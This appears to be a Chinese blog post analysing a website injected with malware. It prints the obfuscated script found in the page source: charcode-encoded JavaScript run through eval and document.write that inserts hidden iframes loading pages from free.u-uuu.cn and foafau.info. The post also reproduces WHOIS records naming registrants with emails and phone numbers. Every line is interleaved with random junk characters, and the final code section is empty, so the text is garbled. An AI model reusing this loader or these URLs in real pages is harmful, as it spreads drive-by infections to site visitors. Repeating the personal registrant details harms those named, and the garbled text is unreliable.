首发在我的博客里面，
X&({`Uw<K D[ R<H(( http://www.areway.cn/?p=175 >-YWq H He~OxWg @|J+ f5O 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
DmgWIede|: 7I<] ;j <script>t=’60,105,102,114,97,109,101,
F#$[jh$ 32,115,114,99,61,104,116,116,112,58,47,47,
ejC== Fkc 102,114,101,101,46,117,45,117,117,117,46,99,
X8=s k 110,47,101,114,114,111,114,46,104,116,109,
*27*&&=)H 32,119,105,100,116,104,61,49,48,48,32,104,
m' suAj0 101,105,103,104,116,61,48,62,60,47,105,102,
6GtXM3qtS 114,97,109,101,62′;
qlfYX8edZ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
olO&7jh7| 0YVkq?1x9 <script>t=’60,105,102,114,97,109,101,32,115,
xt"GO
b 114,99,61,104,116,116,112,58,47,47,102,114,
do(komP<\ 101,101,46,117,45,117,117,117,46,99,110,47,
\~bE|jWbj 101,114,114,111,114,46,104,116,109,32,119,
'1yy&QU Zq 105,100,116,104,61,49,48,48,32,104,101,105,
(@1*-4l 103,104,116,61,48,62,60,47,105,102,114,97,
hh>mX6A 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
ckPI^0A! document.write(t);</script>
f ") *I J|2OmbJ e <html xmlns=”
QGV~Y+ http://www.w3.org/1999/xhtml ? $LKn2C “>
y #Xq@ <head>
|lhVk\X <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
SmYY){AQ/ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
F,-S&d <title>首页 - 爱生活家庭网
\Q<Ur&J]% `CQMvX{ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
W g2Y`2@t 转换字符串后的大概内容是（谁点击后果自付）：
l 4s_9 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
tJ,x>s?Y ?4i:$.A
Y 查询玉米u-uuu.cn的详细信息：
4#BoS9d2I< Domain Name: u-uuu.cn
)R`w{ V ROID: 20070901s10001s64972306-cn
X#*|_(^ Domain Status: ok
;n ,@[v Registrant Organization: 王雷
@dj 2# Registrant Name: 王雷
RZeU{u<O Administrative Email:
czlovexs@126.com #]!0$z|Z Sponsoring Registrar: 北京万网志成科技有限公司
^N5BJ'[F: Name Server:ns.yovole.com
H#B~ h4# Name Server:ns1.yovole.com
RuHM D" Registration Date: 2007-09-01 17:54
9(( QSX Expiration Date: 2008-09-01 17:54
aGY F\7 最后PING了一下地址 都没有什么….
51k^?5cO F! ;0eS"xp 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
A+lP]Oy0S <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
9ZEF%&58Y <script language=”javascript” src=”
//}[(9b'\ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script /U#{6zeM[, >
JS<4%@ 这个玉米应该有可能是木马作者的：
d= -/'_' foafau.info的详细信息：
$6X CHVx Access to INFO WHOIS information is provided to assist persons in
N3Jfp3_b@ determining the contents of a domain name registration record in the
d
M&BnI Afilias registry database. The data in this record is provided by
'<C I^5^ Afilias Limited for informational purposes only, and Afilias does not
|NcfR"[c guarantee its accuracy. This service is intended only for query-based
Y(4#b`k3 access. You agree that you will use this data only for lawful purposes
D{aN_0mT and that, under no circumstances will you use this data to: (a) allow,
IP` ;hC enable, or otherwise support the transmission by e-mail, telephone, or
N +9`'n^x facsimile of mass unsolicited, commercial advertising or solicitations
jtk2>Ol to entities other than the data recipient’s own existing customers; or
G,8LF/sR (b) enable high volume, automated, electronic processes that send
Jy x6{O j queries or data to the systems of Registry Operator, a Registrar, or
/ ` 7p'i Afilias except as reasonably necessary to register domain names or
;@@1$mzK modify existing registrations. All rights reserved. Afilias reserves
IZ;%lV7t the right to modify these terms at any time. By submitting this query,
: qKx m( you agree to abide by this policy.
+Zx+DW cq Domain ID:D22418703-LRMS
O& !tW^ih Domain Name:FOAFAU.INFO
.1.Bf26}d Created On:20-Nov-2007 16:05:42 UTC
9@-^! DBM Last Updated On:20-Nov-2007 16:05:44 UTC
P!{
O<P Expiration Date:20-Nov-2008 16:05:42 UTC
+ (cTzY Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
-VESe}c:nQ Status:CLIENT DELETE PROHIBITED
mk;l;!*T8 Status:CLIENT RENEW PROHIBITED
zhDmZ Status:CLIENT TRANSFER PROHIBITED
hY.zwotH Status:CLIENT UPDATE PROHIBITED
|-hzvuSX Status:TRANSFER PROHIBITED
#KonVM(` Registrant ID:GODA-040110615
f.`noZN Registrant Name:liu hong
-O2ZrJ!q Registrant Organization:
CqUK[#kW( Registrant Street1:beijing
T3o}%wGW Registrant Street2:
'Dq!o[2 y Registrant Street3:
7B$iM ,}.b Registrant City:beijing
?6!7fs, Registrant State/Province:
.pgTp X Registrant Postal Code:100000
)jK"\'cK Registrant Country:CN
"$? f &* Registrant Phone:+86.860108888777
?#^_yd|< Registrant Phone Ext.:
Z4Nl{
6 Registrant FAX:
bGvALz' Registrant FAX Ext.:
V@Z8t8 Registrant Email:bbbshiji@163.com
Z~t OR{q Admin ID:GODA-240110615
zQ$*!1FmN Admin Name:liu hong
[e
)j,Q1 Admin Organization:
1.0S>+^JE Admin Street1:beijing
Z,Z34:- Admin Street2:
)z9)oM\ Admin Street3:
j5ZeYcQ- Admin City:beijing
t)LD-%F Admin State/Province:
b]s*z<|% Admin Postal Code:100000
M emz>uux Admin Country:CN
H'E > QT Admin Phone:+86.860108888777
AlNiqnZ Admin Phone Ext.:
}!\ZJo a Admin FAX:
FrO)3 1z Admin FAX Ext.:
V t:]D?\3 Admin Email:bbbshiji@163.com
m<wng2`NTv Billing ID:GODA-340110615
hbh h
m Billing Name:liu hong
_-%A_5lCRE Billing Organization:
|~bl%g8xP Billing Street1:beijing
E ?( Billing Street2:
5Cd>p< Billing Street3:
KDW%*%! Billing City:beijing
tm~V+t!mj Billing State/Province:
DD\:glo Billing Postal Code:100000
I_J;/!l= Billing Country:CN
0hXI1@8]` Billing Phone:+86.860108888777
8/f ,B:by Billing Phone Ext.:
^o]ZDc Billing FAX:
KAm v7 Billing FAX Ext.:
A('=P} I^ Billing Email:bbbshiji@163.com
FW: x XK Tech ID:GODA-140110615
T=}(S4n#BX Tech Name:liu hong
*doK$wYP Tech Organization:
-cCujDM#T Tech Street1:beijing
| eIN<RY5 Tech Street2:
R74kt36M Tech Street3:
w} *;^n Tech City:beijing
S*6P=O* Tech State/Province:
1Tf"<D p Tech Postal Code:100000
pGz-5afL Tech Country:CN
\~1M\gZP Tech Phone:+86.860108888777
kC"<4U Tech Phone Ext.:
<8p53*a Tech FAX:
zCT Wi Tech FAX Ext.:
imAsE;: Tech Email:bbbshiji@163.com
]lzt "[ Name Server:NS27.DOMAINCONTROL.COM
"jzU` Name Server:NS28.DOMAINCONTROL.COM
!CROc} Name Server:
jQzq(oDQw Name Server:
rl9YB %P Name Server:
AoL4#.r3H Name Server:
~AxA , Name Server:
gvO}u 2.: Name Server:
:3$WY< Name Server:
)_OKw?Zi Name Server:
z%;b-PpS Name Server:
bE.,) GY Name Server:
NyI0 []z Name Server:
'<~l% q j^T .7Zv 接着下载每个文件里面的代码：
"o/:LCE 一步一步看..
@ 9D, f 
&, 2h=H,M 
W~+
] 7< 
XKB)++Q= 
tT87TmNsA 
|ul25/B
B 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
